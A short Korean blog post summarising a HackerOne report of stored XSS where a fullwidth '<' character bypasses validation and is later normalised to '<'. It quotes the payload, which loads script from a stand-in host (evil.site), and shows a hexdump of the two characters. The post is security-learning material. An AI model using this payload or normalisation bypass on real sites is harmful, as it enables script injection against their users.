Normalized Stored XSS (\xef\xbc\x9c => \x3c)

해커원 보고서를 읽던 중 재미있는 XSS 취약점이 있어 공유해봅니다.

https://hackerone.com/reports/639684

Normalized XSS

=[̕h+͓.<script/src=//evil.site/poc.js>.͓̮̮ͅ=sW&͉̹̻͙̫̦̮̲͏̼̝̫́̕

What is <

페이로드 중 <%3C가 아닌 IDN 문자(efbc9c)입니다. 다만 해당 사이트에서 검증 이후 <로 Normalize 하여 처리하기 때문에 스크립트가 실행된 케이스입니다.

cat diff.txt
<<
hexdump -C diff.txt
00000000  ef bc 9c 3c 0a                                    |...<.|
00000005

Conclusion

이번 blackhat 2019에서도 IDN Char를 이용한 Host 검증 우회에 관한 이야기가 있었습니다. IDN Char가 대한 Normalization이 우회수단으로 사용될 수 있으니… 더 심층적인 테스트가 필요할 것 같습니다. (실제로 잘 안나오는 케이스인데, 찾은게 대단하네요)